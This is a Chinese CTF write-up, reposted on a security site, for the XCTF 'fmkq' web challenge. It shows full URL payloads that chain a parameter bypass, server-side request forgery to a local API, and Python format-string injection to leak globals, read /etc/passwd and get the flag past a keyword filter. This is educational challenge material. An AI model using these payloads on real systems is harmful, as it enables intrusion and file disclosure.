xctf-高校战疫-Web-fmkq

admin 2022年1月5日23:10:42CTF专场评论8 views957字阅读3分11秒阅读模式

>

>

xctf-高校战疫-Web-fmkq

Frank

可以令head为’\'(取全局变量)来绕过head的限制执行curl语句。

将begin设为:begin=%s%可以直接输出结果(第二个%用于转义后面的%)

本地的8080端口部署了个fmkq api

通过fuzz发现其实后面的/read/file=参数是个python的格式化字符串,参数名为file

可以获得vipcode: 3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w
payload: /?head=\&url=http://127.0.0.1:8080/read/file={file.__class__.__init__.__globals__[vip].__init__.__globals__}%26vipcode=0&begin=%s%
xctf-高校战疫-Web-fmkq
/?head=\&url=http://127.0.0.1:8080/read/file=/etc/passwd%26vipcode=3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w&begin=%s% 读/etc/passwd

此时可以通过读取/app/下的文件获得源码
而且看到根目录下有个
/fl4g_1s_h3re_u_wi11_rua
can’t read
看源码发现过滤了"fl4g"

本地测试时{vipfile:.2}4g_1s_h3re_u_wi11_rua/flag 这样可以绕,但是远程就internal server error
原因:进去的那一层过滤了file:

可以file={vipfile}_1s_h3re_u_wi11_rua/fl4g,但是差一个字母
反正就在各种变量里头找"fl4g_1s_h3re_u_wi11_rua"嘛
于是最后的payload:
/?head=\&url=http://127.0.0.1:8080/read/file={vipfile.__class__.__init__.__globals__[current_folder_file][21]}/flag%26vipcode=3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w&begin=%s%


特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:10:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  xctf-高校战疫-Web-fmkq http://cn-sec.com/archives/720019.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: